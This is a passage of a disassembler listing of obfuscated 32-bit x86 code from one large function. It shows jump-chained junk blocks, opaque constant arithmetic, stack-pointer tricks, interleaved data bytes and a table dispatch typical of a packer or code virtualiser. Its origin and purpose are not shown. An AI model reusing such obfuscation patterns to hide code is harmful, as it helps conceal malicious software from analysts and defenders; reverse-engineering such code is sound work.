		dd 0FF3C77FFh, 48B2434h, 4C48124h, 81000000h, 4ECh, 1123E900h
		dd 0F660000h, 7BE9C8B6h, 81000017h, 0B00D51F3h,	0C4C3E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5545E6:				; CODE XREF: sub_542C3C+21713j
		xor	ecx, [esp+7Ch+var_7C]
		xor	[esp+7Ch+var_7C], ecx
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		not	edx
		xchg	edx, ecx
		xor	[esp+7Ch+var_7C], ecx
		xor	ecx, [esp+7Ch+var_7C]
		xor	[esp+7Ch+var_7C], ecx
		push	[esp+7Ch+var_7C]
		mov	eax, [esp+80h+var_80]
		push	ecx
		jmp	loc_567830
; ---------------------------------------------------------------------------

loc_554609:				; CODE XREF: sub_542C3C+15C4Dj
		mov	[esp+84h+var_84], ebp
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_561064
; ---------------------------------------------------------------------------
		dd 8904EC83h, 87B1240Ch, 13D48E9h, 19E9AC00h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55462F:				; CODE XREF: sub_542C3C+199CDj
		push	ebp
		mov	ebp, 54838A5h
		shl	ebp, 6
		shl	ebp, 6
		add	ebp, 0CB60BE37h
		add	ebx, 2B800FB6h
		sub	ebx, 69F265CAh
		add	ebx, ebp
		jmp	loc_567C4C
; ---------------------------------------------------------------------------
		dd 6B685251h, 5A0BAE1Fh, 0A803E9h
		db 0
; ---------------------------------------------------------------------------

loc_554661:				; CODE XREF: sub_542C3C+159AEj
		mov	ecx, 50ED4FF8h
		add	esi, ecx
		pop	ecx
		jmp	loc_55AFEE
; ---------------------------------------------------------------------------

loc_55466E:				; CODE XREF: sub_542C3C+25A66j
		pop	ecx
		jmp	loc_562448
; ---------------------------------------------------------------------------

loc_554674:				; CODE XREF: sub_542C3C+1A1F6j
		push	edx
		mov	dh, 69h
		jmp	loc_5636B4
; ---------------------------------------------------------------------------

loc_55467C:				; CODE XREF: sub_542C3C+198B4j
		mov	edx, 5A57461h
		sub	ebx, edx
		pop	edx
		jmp	loc_554F57
; ---------------------------------------------------------------------------

loc_554689:				; CODE XREF: sub_542C3C+182F2j
		mov	ebx, ecx
		pop	ecx
		add	eax, ebx
		jmp	loc_55E2D4
; ---------------------------------------------------------------------------
		db 81h
		dd 1F1C7CC3h, 5BD929FFh, 5C240C87h, 98ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_5546A5:				; CODE XREF: sub_542C3C+1506Bj
		mov	ah, 0DCh
		push	ebx
		mov	bl, ah
		mov	cl, bl
		mov	ebx, [esp+88h+var_88]
		jmp	loc_55A7D3
; ---------------------------------------------------------------------------

loc_5546B4:				; CODE XREF: sub_542C3C+20F07j
		mov	edx, [esp+88h+var_88]
		add	esp, 4
		jmp	loc_560AB6
; ---------------------------------------------------------------------------

loc_5546C2:				; CODE XREF: sub_542C3C+13D4Bj
		push	ebp
		mov	ebp, 2B332E76h
		add	[esp+88h+var_80], 6017714Fh
		sub	[esp+88h+var_80], ebp
		sub	[esp+88h+var_80], 6017714Fh
		pop	ebp
		pop	ecx
		jmp	loc_5547D2
; ---------------------------------------------------------------------------
		db 29h
		dd 0FCBE56D8h, 0E91B1338h, 1330Ch, 2474FF56h, 0A8BE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5546FA:				; CODE XREF: sub_542C3C+22939j
		xor	[esp+80h+var_7C], edx
		jmp	loc_55B7FC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D359h, 0EE3AE99Ch, 3C87FFFFh,	24248B24h
		dd 5304EB83h, 42474FFh,	5B2434FFh, 0E904C483h, 6205h, 0E95EF131h
		dd 24D8h, 54240C89h, 0C186E9h
		db 0
; ---------------------------------------------------------------------------

loc_55473D:				; CODE XREF: sub_542C3C+21CE5j
		pop	esp
		and	eax, edx
		push	[esp+7Ch+var_7C]
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		push	0F93h
		mov	[esp+80h+var_80], ecx
		push	esp
		mov	ecx, [esp+84h+var_84]
		add	esp, 4
		jmp	loc_5647C6
; ---------------------------------------------------------------------------

loc_55475D:				; CODE XREF: sub_542C3C+1E5D0j
		sub	eax, ebx
		pop	ebx
		mov	ebp, [esp+7Ch+var_7C]
		add	esp, 4
		push	494Eh
		mov	[esp+7Ch+var_7C], esi
		push	7382h
		jmp	loc_55B73B
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2414h, 8F5A0424h, 0F0E92404h, 83000099h,	786804C4h
		dd 8900002Dh, 0AD68242Ch, 8900006Eh, 4812424h, 424h, 0C5815D00h
		dd 4, 3304ED83h, 2C31242Ch, 242C3324h, 0C127E9h, 24148B00h
		dd 0E904C483h, 12A91h
; ---------------------------------------------------------------------------

loc_5547C8:				; CODE XREF: sub_542C3C+24161j
		mov	ebp, 0A727439h
		jmp	loc_557B0A
; ---------------------------------------------------------------------------

loc_5547D2:				; CODE XREF: sub_542C3C+11AA2j
		pop	eax
		sub	eax, 16836354h
		jmp	loc_55988C
; ---------------------------------------------------------------------------

loc_5547DD:				; CODE XREF: sub_542C3C+1A018j
		xchg	eax, [esp+7Ch+var_7C]
		pop	esp
		sub	eax, 596422Dh
		push	[esp+78h+var_78]
		mov	ecx, [esp+7Ch+var_7C]
		jmp	loc_55A8BF
; ---------------------------------------------------------------------------
		db 0B7h, 0D4h, 0C0h
		dd 0C78006EFh, 0F8D7E947h, 40970000h, 78C78197h, 87069A3Dh
		dd 87D5F7EFh, 4B95E9EFh, 81BB0000h, 506AB663h, 1147DE9h
		dd 4C78100h, 0E9000000h, 13794h, 5C242C33h, 31240C33h
		dd 75E9240Ch
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_554837:				; CODE XREF: sub_542C3C+1162Aj
		shl	esi, 5
		xor	esi, 6EA43133h
		push	edi
		mov	edi, esi
		jmp	loc_56209B
; ---------------------------------------------------------------------------
		dd 3166AD66h, 0F8F2E9D8h, 0ED810000h, 1A732C62h, 0C581C501h
		dd 1A732C62h, 0E924048Bh, 140C1h, 49F6814Eh, 138A958h
		dd 0FD1EE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554876:				; CODE XREF: sub_542C3C+1691Bj
		add	edi, eax
		mov	eax, [esp+7Ch+var_7C]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55FFEB
; ---------------------------------------------------------------------------
		dd offset dword_588C68
		align 2
		dw 3489h
		dd 81E68924h, 4C6h, 0D3BE900h, 4D680000h, 89000022h, 19B62414h
		dd 0E91BF680h, 8020h, 2A93E681h, 0F756505Ch, 0E95E2414h
		dd 793Ch, 3B2FE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5548C6:				; CODE XREF: sub_542C3C+1DBD1j
		push	[esp+80h+var_80]
		pop	ebp
		push	ebx
		jmp	loc_5588AA
; ---------------------------------------------------------------------------
		dd 4CB4C581h, 9BE925C6h, 8800011Bh, 24048BC2h, 8004C483h
		dd 0D2F603F2h, 0F010E9h, 0E9F10900h, 88ECh, 0E92434FFh
		dd 1DBCh, 9D6634BDh, 3EA8E97Eh,	0E9590001h, 0FFFFECA7h
		dd 0E1E9D4B3h, 8900013Ah, 4BE2434h, 1000000h, 52505EF1h
		dd 591A15BAh, 920EB870h, 0D029CD30h, 8B2434FFh,	0C4832414h
		dd 5D545504h, 3B3B850h,	342578D8h, 0D488D44h, 62C07A78h
		dd 0D8764E25h, 724C3542h, 0C50142C8h, 4C58358h,	5C242C87h
		dd 4EC81h, 0C890000h, 367DB924h, 0C9813DBEh, 6F345FB6h
		dd 0D9F7D9F7h, 2540E9h,	24048F00h, 0F324248Bh, 386203A5h
		dd 0FFFAFCE9h, 81EF01FFh, 0F43604C7h, 0ACC78127h, 513DBE25h
		dd 6B5B01B9h, 59CF2946h, 4EC835Dh, 0FF243C89h, 0E9042474h
		dd 0FF32h, 0EA81E2D1h, 4CD6ECEAh, 0F116E952h, 0F7810000h
		dd 6D8528D6h, 8CA9E9h, 241C8B00h, 104C483h, 0E904245Ch
		dd 0CBCCh, 4245429h, 4244481h, 63B6D87h, 4244481h, 657A14FBh
		dd 2434FF5Ah, 4C48159h,	56000000h, 0F30241BEh, 83DEF704h
		dd 0CE8101C6h, 1B2F27A9h, 0C126F681h, 0BAE9FF09h, 810000D4h
		dd 54D623C3h, 5BDF8909h, 35DEE781h, 0E7C13665h,	21E95103h
		dd 400011Bh, 93345A7Dh,	2BD568h, 24148900h, 0B130E9h
		db 0
; ---------------------------------------------------------------------------

loc_554A3D:				; CODE XREF: sub_542C3C+18F24j
		pop	esi
		add	edx, esi
		mov	esi, [esp+80h+var_80]
		add	esp, 4
		and	eax, edx
		push	[esp+7Ch+var_7C]
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jnz	loc_567A3A
		push	6801h
		mov	[esp+7Ch+var_7C], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+7Ch+var_7C]
		pop	esp
		jmp	loc_566CD8
; ---------------------------------------------------------------------------
		db 81h
		dd 4E7C40F1h, 37D4E9F8h, 2C890000h, 18786824h, 2C8B3A8Eh
		dd 4C48324h, 18866851h,	2C890000h, 2B06824h, 505D363Ah
		dd 830205B8h, 766F2503h, 0D0F7410Fh, 5F8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_554AB9:				; CODE XREF: sub_542C3C+24A44j
		sub	al, 2Bh
		jmp	loc_5629DD
; ---------------------------------------------------------------------------
		dd 0FF85EA81h, 5A051C3Ch, 290BCB1Fh, 0CA81E9D0h, 0C3010000h
		dd 34815358h, 81345424h, 2C44E95Ch, 0C7810000h,	255305FAh
		dd 243C875Bh, 0B652505Ch, 2840B432h, 0E4C05AF4h, 5732E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554AFE:				; CODE XREF: sub_542C3C+12D04j
		add	edx, 23606A9Fh
		push	ecx
		mov	ecx, 7A5C0CC1h
		and	ecx, 35C218C7h
		inc	ecx
		neg	ecx
		xchg	ebx, ecx
		neg	ebx
		xchg	ebx, ecx
		dec	ecx
		xor	ecx, 72807486h
		add	edx, ecx
		pop	ecx
		mov	ebx, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_563B34
; ---------------------------------------------------------------------------

loc_554B31:				; CODE XREF: sub_542C3C+125EEj
		sub	esp, 4
		mov	[esp+78h+var_78], edx
		jmp	loc_561E0E
; ---------------------------------------------------------------------------
		dd 7608ED81h, 0E7E904C9h, 0B800009Bh, 2, 9E9C529h
		db 11h,	1, 0
; ---------------------------------------------------------------------------

loc_554B53:				; CODE XREF: sub_542C3C+1FA6Ej
		pop	ebx
		push	ecx
		mov	ecx, 346B6D4Ch
		xor	ecx, 346B6D48h
		add	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_55E8C6
; ---------------------------------------------------------------------------

loc_554B71:				; CODE XREF: sub_542C3C+18544j
		pop	esp
		push	5320h
		mov	[esp+74h+var_74], ebp
		jmp	loc_56599C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 1071E900h, 2C8B0000h, 0E0895024h, 0B70E9h, 5EF03100h
		dd 44CFEB81h, 0BE5638CDh, 3CD3641Ah, 0EB93C681h, 0EB81F1C8h
		dd 36FB7E50h, 0C381F329h, 36FB7E50h, 0F6CFE95Eh, 0FF66FFFFh
		dd 0E986E932h, 0C481FFFFh, 4, 205h, 0FC27E900h,	0F1810000h
		dd 7E507F72h, 8159CF21h, 0BDFDA5C7h, 5FFB018Eh,	815BDA31h
		dd 0CE16BEEAh, 0F6CE94Ch, 89520001h, 4C281E2h, 56000000h
		dd 13DBE9h
		db 0
; ---------------------------------------------------------------------------

loc_554C05:				; CODE XREF: sub_542C3C+1EF70j
		add	ebx, 3B9045E0h
		sub	eax, ebx
		pop	ebx
		and	edi, eax
		pop	eax
		and	edi, 4B3D5DE6h
		sub	esp, 4
		mov	[esp+70h+var_70], esi
		mov	esi, 42D0C19h
		jmp	loc_563D6C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0DAF7D2F7h, 5DC8F281h, 0D5016DD3h, 4EC835Ah,	0E9240489h
		dd 0DDA4h, 4C481h, 0E9530000h, 0D39Eh
; ---------------------------------------------------------------------------

loc_554C4C:				; CODE XREF: sub_542C3C+25C21j
		mov	[esp+70h+var_70], ebx
		push	61C565B9h
		jmp	loc_55978C
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 4BD555Ch, 0E9000000h, 4945h,	0A954E0BAh, 5AD5296Ch
		dd 5085E9h, 0F9EB8100h,	8100FB06h, 0C122E1C3h, 786FE951h
		dd 34870000h, 143CE924h, 84680000h, 8900006Ah, 62BB241Ch
		dd 0F75B5F07h, 63F381D3h, 0C1444370h, 0EBC106EBh, 0F9E5E902h
		dd 4BAFFFFh, 0E9000000h, 0FFFFEC00h, 240C8B66h,	3A968h
		dd 24148900h, 0B91CE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554CCA:				; CODE XREF: sub_542C3C+12EDBj
		sub	esi, 1
		sub	esi, 4BC2C16Ch
		xor	edi, esi
		pop	esi
		and	eax, edi
		mov	edi, [esp+70h+var_70]
		sub	esp, 4
		mov	[esp+74h+var_74], eax
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		sub	esp, 4
		mov	[esp+7Ch+var_7C], edx
		mov	edx, 4
		jmp	loc_567853
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C7h
		dd 564F131Fh, 0C681E689h, 4, 0E904EE83h, 490Dh,	15CCBB53h
		dd 0F3814FFAh, 46213602h, 6F9EEB81h, 0F3816EC0h, 0AC148C7Ch
		dd 815BDD31h, 99531BC5h, 0E4EE93Ch, 4890001h, 5585424h
		dd 4, 4BE56h, 0ACE90000h
		db 20h,	1, 0
; ---------------------------------------------------------------------------

loc_554D4B:				; CODE XREF: sub_542C3C+211C6j
		mov	ecx, 461E0507h
		sub	[esp+7Ch+var_78], ecx
		pop	ecx
		pop	ecx
		add	ecx, 461E0507h
		jmp	loc_55F370
; ---------------------------------------------------------------------------

loc_554D61:				; CODE XREF: sub_542C3C+24C68j
		pop	esp
		mov	[esp+70h+var_70], ebx
		push	edi
		mov	edi, 5938118Bh
		xor	edi, 6C965603h
		or	edi, 21192CC5h
		shl	edi, 7
		add	edi, 2B3C45B9h
		push	edi
		xor	[esp+78h+var_78], 19385749h
		mov	ebx, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_561B0F
; ---------------------------------------------------------------------------
aHDsP		db 'h/=¶déį',0
		align 10h

loc_554DA0:				; CODE XREF: sub_542C3C+13953j
		add	ebx, 4
		xchg	ebx, [esp+74h+var_74]
		pop	esp
		pop	[esp+70h+var_70]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp+6Ch+var_6C]
		pop	esp
		mov	[esp+68h+var_68], ebp
		jmp	loc_558AAA
; ---------------------------------------------------------------------------

loc_554DCD:				; CODE XREF: sub_542C3C+22535j
		push	edi
		push	55E47C17h
		push	[esp+70h+var_70]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+74h+var_74]
		pop	esp
		push	eax
		mov	eax, 1
		sub	edi, eax
		jmp	loc_55A838
; ---------------------------------------------------------------------------

loc_554DF4:				; CODE XREF: sub_542C3C+1E84Aj
		mov	esi, [esp+74h+var_74]
		jmp	loc_5648B1
; ---------------------------------------------------------------------------
		dd 6824048Fh, 7FD4h, 8517E9h
		db 0
; ---------------------------------------------------------------------------

loc_554E09:				; CODE XREF: sub_542C3C+25805j
		add	esp, 4
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		jmp	loc_56884B
; ---------------------------------------------------------------------------
		dw 1AB3h
		dd 8002EBC0h, 0C3FE04F3h, 4E8EB80h, 2CD800C6h, 2434FFC6h
		dd 4C4815Bh, 2C000000h,	69685204h, 89000026h, 9B1240Ch
		dd 82E9D1F6h
		db 2Bh,	1, 0
; ---------------------------------------------------------------------------

loc_554E4B:				; CODE XREF: sub_542C3C+23DACj
		mov	esi, 57895828h
		shl	esi, 4
		jmp	loc_561F79
; ---------------------------------------------------------------------------
		dd 4BBh, 5BDA8900h, 555AD101h, 4BDh, 8BE92900h,	0C483242Ch
		dd 240C3304h, 33240C31h, 248B240Ch, 24048924h, 0BDE9E089h
		dd 5A00005Eh, 2C04C483h, 0E99B2C71h, 0C913h, 4B77BA52h
		dd 0D0291547h, 6550E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554EA2:				; CODE XREF: sub_542C3C+1B1ECj
		pop	esp
		and	eax, edi
		push	[esp+6Ch+var_6C]
		push	[esp+70h+var_70]
		jmp	loc_5542D9
; ---------------------------------------------------------------------------
		dd 0EA81C201h, 2A263821h, 4C28358h, 31241433h, 14332414h
		dd 24248B24h, 0A125E9h,	243C8900h, 0BF4E74BFh, 19F7812Ch
		dd 68085C76h, 34ADh, 0F7243C89h, 82E92414h, 31000110h
		dd 0F8CBE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554EF2:				; CODE XREF: sub_542C3C+10F4Bj
		pop	edi
		xor	ebx, 7C790D76h
		add	ebx, 0FD11020Dh
		jmp	loc_560EAE
; ---------------------------------------------------------------------------
		dd 24148B54h, 5104C483h, 8904EC83h, 0BF572414h,	25C4782Fh
		dd 8105EFC1h, 5CEDFBC7h, 5FFA8901h, 0E95AD189h,	4495h
		dd 0BE243489h, 2A5F17D6h, 89F28952h, 835E5AD0h,	0BFE901E8h
		dd 8B000128h, 0E9552414h, 16EBh, 36C8BF57h, 43E96E6Ah
		db 16h,	1, 0
; ---------------------------------------------------------------------------

loc_554F57:				; CODE XREF: sub_542C3C+11A48j
		push	eax
		jmp	loc_55B490
; ---------------------------------------------------------------------------
		db 58h,	0C0h, 0EAh
		dd 80D2F604h, 0E950D8E2h, 14B3h, 3E0DBF57h, 0F781553Ch
		dd 2E9D6A4Bh, 9C8E9h
		db 0
; ---------------------------------------------------------------------------

loc_554F7D:				; CODE XREF: sub_542C3C+17845j
		push	edi
		mov	edi, 352707Eh
		jmp	loc_55C819
; ---------------------------------------------------------------------------
		dd 0D0F7C131h, 58595051h, 65FEE9h, 4C48100h, 0E9000000h
		dd 0FFFFE5B8h
; ---------------------------------------------------------------------------

loc_554FA0:				; CODE XREF: sub_542C3C+1BF08j
		xor	ebp, [esp+90h+var_90]
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 0E92434FFh, 12CFBh, 2B62E959h, 30AC0000h, 735AE9D8h
		dd 0C3890000h, 9F61E9h
		db 0
; ---------------------------------------------------------------------------

loc_554FC9:				; CODE XREF: sub_542C3C+1745Ej
		xor	ebx, eax
		xor	eax, ebx
		push	ebp
		push	esi
		mov	esi, 66D734D6h
		xor	esi, 49FC058Ah
		shr	esi, 8
		neg	esi
		push	ebp
		push	11F038A4h
		mov	ebp, [esp+9Ch+var_9C]
		add	esp, 4
		sub	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+98h+var_98], esi
		dec	[esp+98h+var_98]
		jmp	loc_55D9A6
; ---------------------------------------------------------------------------

loc_554FFF:				; CODE XREF: sub_542C3C+17A43j
		push	[esp+98h+var_98]
		jmp	loc_555375
; ---------------------------------------------------------------------------
		db 50h
		dd 0CC1614B8h, 58C20100h, 2C48C281h, 0BE90C30h,	8000011Dh
		dd 5902EBh, 0DFE952C3h
		db 0Eh,	1, 0
; ---------------------------------------------------------------------------

loc_555027:				; CODE XREF: sub_542C3C+17A6Cj
		neg	esi
		not	esi
		add	esi, 0FFFFFFFFh
		jmp	loc_559E4A
; ---------------------------------------------------------------------------
		db 66h
		dd 2404BB0Fh, 0E50EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55503E:				; CODE XREF: sub_542C3C+22920j
		add	[esp+9Ch+var_9C], 22FB269Eh
		pop	edx
		sub	edx, 22FB269Eh
		mov	ebp, edx
		pop	edx
		jmp	loc_567658
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704C583h, 62E9242Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555067:				; CODE XREF: sub_542C3C+1AB82j
		mov	[esp+94h+var_94], eax
		mov	ah, 2Ch
		push	edx
		mov	dh, ah
		not	dh
		jmp	loc_56219D
; ---------------------------------------------------------------------------
		dw 1489h
aHSd8		db '$²h',8,'×é„8',0
		align 2

loc_555082:				; CODE XREF: sub_542C3C+16A4Aj
		mov	word ptr [esp+98h+var_98], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_559DD2
; ---------------------------------------------------------------------------

loc_555092:				; CODE XREF: sub_542C3C+1F11Ej
		and	ecx, edi
		jmp	loc_55EB50
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 81h
		dd 2B743FC6h, 34875A6Ch, 0FE18E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5550AA:				; CODE XREF: sub_542C3C+124A9j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp+9Ah+var_9C+2]
		pop	esp
		push	eax
		mov	eax, 4
		jmp	loc_5646D6
; ---------------------------------------------------------------------------

loc_5550C1:				; CODE XREF: sub_542C3C+1D3F0j
		add	esi, 0FFFFFFFFh
		add	esi, 0DB44A226h
		add	ebp, esi
		push	[esp+9Ah+var_9C+2]
		jmp	loc_55FEA3
; ---------------------------------------------------------------------------

loc_5550D7:				; CODE XREF: sub_542C3C+252F5j
		add	eax, edx
		add	eax, 50BA285Bh
		pop	edx
		push	esi
		mov	esi, 4
		jmp	loc_5550AA
; ---------------------------------------------------------------------------
		dw 0FF55h
		dd 0FF042474h, 565D2434h, 0F4E9E689h, 0BB00006Ah, 144B6B35h
		dd 555BD909h, 3FBAE953h, 0E1810000h, 549F6F45h,	56EE9h
		dd 243C8B00h, 4C481h, 89520000h, 0E32E9E2h, 0E3890001h
		dd 4C381h, 42E90000h, 5C000049h, 12D6EE9h
		db 0
; ---------------------------------------------------------------------------

loc_555139:				; CODE XREF: sub_542C3C+19708j
		xor	edx, 55AA45CAh
		xor	ecx, edx
		pop	edx
		push	71C7h
		mov	[esp], ebx
		jmp	loc_55A684
; ---------------------------------------------------------------------------

loc_55514F:				; CODE XREF: sub_542C3C+1DB87j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, esi
		push	[esp+9Ah+var_9C+2]
		mov	esi, [esp]
		add	esp, 4
		push	64A5h
		mov	[esp], ebx
		push	6FF0h
		mov	[esp+0A2h+var_A2], esp
		push	eax
		jmp	loc_555972
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 0BC97E9h, 2434FF00h, 8324348Bh, 91E904C4h
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_555193:				; CODE XREF: sub_542C3C+2342Cj
		mov	edi, ecx
		pop	ecx
		add	ecx, edi
		mov	edi, [esp+0A2h+var_A2]
		jmp	loc_566C11
; ---------------------------------------------------------------------------
		dd 5F7DF681h, 0C6815DE6h, 140D2507h, 95E9F531h,	5D0000E9h
		dd 4B82B951h, 0F18144A5h, 4B6D54ABh, 0FFFFBD55h, 0E901FFFFh
		dd 0A3D2E95Dh, 89660000h, 83E9240Ch
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5551D7:				; CODE XREF: sub_542C3C+2529Cj
		add	ecx, ebx
		jmp	loc_567E3F
; ---------------------------------------------------------------------------

loc_5551DE:				; CODE XREF: sub_542C3C+1F13Cj
		mov	edx, 71B26F5Bh
		add	edx, 1FFF29D2h
		xor	edx, 6C865A2Fh
		xor	edx, 95517D2h
		not	edx
		push	eax
		jmp	loc_5678E1
; ---------------------------------------------------------------------------

loc_5551FD:				; CODE XREF: sub_542C3C+15023j
		add	edi, 4
		jmp	loc_555FA1
; ---------------------------------------------------------------------------
		dd 42474FFh, 2BA3E9h
		db 0
; ---------------------------------------------------------------------------

loc_555211:				; CODE XREF: sub_542C3C+12E0Bj
		sub	ebp, 54B9441Fh
		xchg	ecx, ebp
		not	ecx
		jmp	loc_55EDF5
; ---------------------------------------------------------------------------

loc_555220:				; CODE XREF: sub_542C3C+22E91j
		push	dword ptr [edx]
		push	[esp+0AAh+var_AA]
		pop	ecx
		add	esp, 4
		pop	edx
		jmp	loc_554B31
; ---------------------------------------------------------------------------
		db 81h
		dd 5E3B9AEFh, 0B7E78167h, 810BF672h, 99FFD9C7h,	0E9FB29FCh
		dd 0A00h
; ---------------------------------------------------------------------------

loc_555248:				; CODE XREF: sub_542C3C+20E00j
		sub	esi, 5ACE57B0h
		add	esi, eax
		jmp	loc_560E2E
; ---------------------------------------------------------------------------

loc_555255:				; CODE XREF: sub_542C3C+24E17j
		mov	esp, [esp+0A2h+var_A2]
		mov	[esp+0A2h+var_A2], ebx
		push	1236h
		mov	[esp+0A6h+var_A6], edx
		mov	edx, 0EAD2045h
		xor	[esp+0A6h+var_A2], edx
		mov	edx, [esp+0A6h+var_A6]
		jmp	loc_55BABC
; ---------------------------------------------------------------------------

loc_555274:				; CODE XREF: sub_542C3C+17E2Dj
		pop	edx
		add	edx, 4
		jmp	loc_55FDC9
; ---------------------------------------------------------------------------
		dd 81240429h, 39C42404h, 2EE96527h, 2900008Eh, 6259E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555296:				; CODE XREF: sub_542C3C+223FFj
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		push	[esp+0A6h+var_A6]
		pop	esi
		add	esp, 4
		pop	[esp+0A2h+var_A2]
		pop	esp

loc_5552B1:				; CODE XREF: sub_542C3C+10E51j
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_5539A4
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 4C781h, 85E90000h, 29000040h, 60E95EF0h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5552D7:				; CODE XREF: sub_542C3C+16C25j
		jz	loc_567A3A
		push	dword ptr [edi+28h]
		sub	[esp+0A6h+var_A6], 89B4D8Fh
		mov	eax, [esp+0A6h+var_A6]
		push	2077h
		mov	[esp+0AAh+var_AA], edx
		mov	edx, esp
		jmp	loc_558F8F
; ---------------------------------------------------------------------------
		db 68h,	0D5h, 10h
		dd 815D2AE5h, 4391B6EDh, 5DE989FFh, 2B18E941h, 0DF010000h
		dd 243C875Bh, 8F24248Bh, 895C2404h, 4682414h, 89000025h
		dd 34FF2404h, 53685A24h, 8900007Ah, 0E6892434h,	4C681h
		dd 0EE830000h, 24348704h, 0F3EEE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555346:				; CODE XREF: sub_542C3C+23E65j
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebp
		push	edx
		jmp	loc_55CA0B
; ---------------------------------------------------------------------------
		dw 8766h
		dd 8B662414h, 0C483241Ch, 809E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555362:				; CODE XREF: sub_542C3C+185AAj
		xor	ebp, ecx
		pop	ecx
		jmp	loc_55581A
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 0D4C7E9h
		db 0
; ---------------------------------------------------------------------------

loc_555375:				; CODE XREF: sub_542C3C+123C6j
		mov	esi, [esp+9Ch+var_9C]
		add	esp, 4
		add	esp, 4
		and	eax, ebp
		jmp	loc_55D409
; ---------------------------------------------------------------------------
		dd 24048B66h, 68595451h, 759Ch,	0BB241C89h, 2AE21968h
		dd 61685657h, 5E7BCB12h, 0DFA6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5553A9:				; CODE XREF: sub_542C3C+1D74Ej
		add	al, dl
		push	[esp+94h+var_94]
		mov	edx, [esp+98h+var_98]
		jmp	loc_55FBF3
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 612971C8h, 2BBB5357h, 0F730BC4Bh, 0E3C143D3h, 38EB8108h
		dd 8938EF91h, 58E95BDFh, 1FFFFFEh, 636E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5553DE:				; CODE XREF: sub_542C3C+257E7j
		mov	esi, 656614EFh
		add	esi, 9A99EB15h
		push	1300h
		jmp	loc_564390
; ---------------------------------------------------------------------------
aIssB		db '‰áé±',0
		align 2

loc_5553FA:				; CODE XREF: sub_542C3C+1BADFj
		mov	edx, ecx
		push	[esp+9Ch+var_9C]
		pop	ecx
		add	esp, 4
		shl	edx, 1
		shl	edx, 4
		jmp	loc_5648F7
; ---------------------------------------------------------------------------
		db 5, 80h, 2
		dd 0C8294141h, 4102802Dh, 12ABE941h, 0C1280001h, 2463E9h
		dd 24348100h, 76FB4856h, 8324148Bh, 0F28104C4h,	76FB4856h
		dd 81242C8Bh, 4C4h, 1C572100h, 0B2F7E95Ah, 0C330000h, 24248B24h
		dd 9C2404FEh, 11FC8E9h,	4C18100h, 33000000h, 0C31240Ch
		dd 240C3324h, 2124248Bh, 37E91C47h, 8900003Eh, 4EC83E3h
		dd 0BE243489h, 4, 0E6E9F301h, 890000B9h, 4C381E3h, 81000000h
		dd 4C3h, 4EEAE900h, 0C4830000h,	24148B04h, 4C481h, 34FF0000h
		dd 0C4835924h, 0E09AE904h, 0C481FFFFh, 4, 1C8BD800h, 0E0895024h
